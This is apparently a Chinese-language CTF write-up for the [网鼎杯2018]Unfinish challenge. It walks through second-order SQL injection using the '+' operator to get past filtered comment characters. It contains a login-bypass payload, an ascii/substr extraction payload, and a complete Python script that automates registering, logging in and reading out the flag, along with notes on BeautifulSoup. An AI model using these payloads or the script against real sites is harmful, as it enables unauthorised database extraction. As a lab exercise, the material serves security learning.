[网鼎杯2018]Unfinish 数据库注入‘+‘的利用
试一下万能账号登录1'or'1'='1'#,发现有邮箱格式,1@1’or'1'='1'#结果提示@后面不能有引号,算了去register.php瞅瞅,这种看url一般都有的随便注册一个登录试试发现用户名被回显到上面了,看来应该考的是二次注入了(这里注意每测试一次就要注册一个新的邮箱,不然用户名不会更改), 再用1'or'1'='1'#判断一下,结果注册失败!!!%23和-- 都不行可能是被过滤掉了
试一下万能账号登录1'or'1'='1'#,发现有邮箱格式,1@1’or'1'='1'#结果提示@后面不能有引号,算了去register.php瞅瞅,这种看url一般都有的
随便注册一个登录试试
发现用户名被回显到上面了,看来应该考的是二次注入了(这里注意每测试一次就要注册一个新的邮箱,不然用户名不会更改), 再用1'or'1'='1'#判断一下,结果注册失败!!!%23和-- 都不行可能是被过滤掉了,而且你单独输入一个#又会显示注册成功不知道
但我们输入1'or'1'='1进行前后引号闭合的话
可以发现是有注入点的,执行了我们输入的语句
现在难点来了,语句后面加不了注释符,导致我们之前很多盲注语句使用不了,因为无法闭合后面那个引号,看来又要学一个新知识点了!利用数据库中的'+'运算符
借用别人的数据库实现来唠唠
可以发现我们可以利用+运算的特性,来进行闭合前后的引号,并且配合ascii及substr函数来进行跑我们所需要的信息,于是我们构造(经过测试我们可以知道逗号以及information都被过滤了,因此直接赌字段名啥的都是flag,感觉越难越不会为难你这种字段名,考的是绕过)
0'+ascii(substr((select * from flag) from 1 for 1))+'0
成功执行,但这次脚本比之前就有点复杂了,每次注册的邮箱都不能一样,记得加format字符串格式化,以及要先对register.php发送post请求进行注册,才能对login.php界面发送登录请求,最后结果是在index.php界面获取
#coding:utf-8
import requests
from bs4 import BeautifulSoup
import time
url = 'http://d898921e-3288-4bbe-88dc-b6c5dc11cd79.node4.buuoj.cn:81/'
m = ''
for i in range(100):
#payload = "0'+ascii(substr((select database()) from {} for 1))+'0".format(i + 1)
payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)#判断每一位ascii码是多少
register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}
login = {'email':'abc{}@qq.com'.format(i),'password':'123456'}
req = requests.session()
r1 = req.post(url+'register.php',data = register)
r2 = req.post(url+'login.php', data = login)
r3 = req.post(url+'index.php')
html = r3.text
#print(html)
soup = BeautifulSoup(html,'html.parser')
#print(soup.prettify())
UserName = soup.span.string
print(UserName)
if int(UserName) == 0:
break
m += chr(int(UserName))
print(m)
time.sleep(1)
这里学到了一个特别强大的模块方法,bs4中的BeautifulSoup
soup = BeautifulSoup(html,'html.parser')
print(soup.prettify())
UserName = soup.span.string
print(UserName)
【Python】BeautifulSoup_风吹我亦散的博客-CSDN博客
python中beautifulsoup的用法_Python中BeautifulSoup的基础用法--附实例_小小仙女儿的博客-CSDN博客
两篇博客讲的很清楚,我们就直接实操看效果
这是我们普通的请求后的text,会发现根据书写习惯的不同很多标签都不是对齐的,看的很不舒服,但是经过 BeautifulSoup(html,'html.parser')python解析为一个对象后
可以看见标签都已经格式化好了,看起来必须方便,但是如果仅仅只有这个功能的话,可是没有什么用,还有最强大的内容查找! soup!
上面博客截取的,可以soup.你所需的标签 来筛选掉你不需要的信息(加了string是直接返回标签内容,不加则一起返回)
这里报错是因为我没有加string导致后面判断识别不出来;
一开始学这个模块的时候我在想为什么还有一个span标签的CTF为什么不输出呢
从上面博客可以知道它返回的是第一个标签,后面就不会返回了,因此我们要根据情况写脚本
加了string后过滤成只有我们所需要的用户名回显了,直接跑(保持美观的话还可以加一个strip函数来清除前后的空格)
bingo!又学到一个新方法
更多推荐
所有评论(0)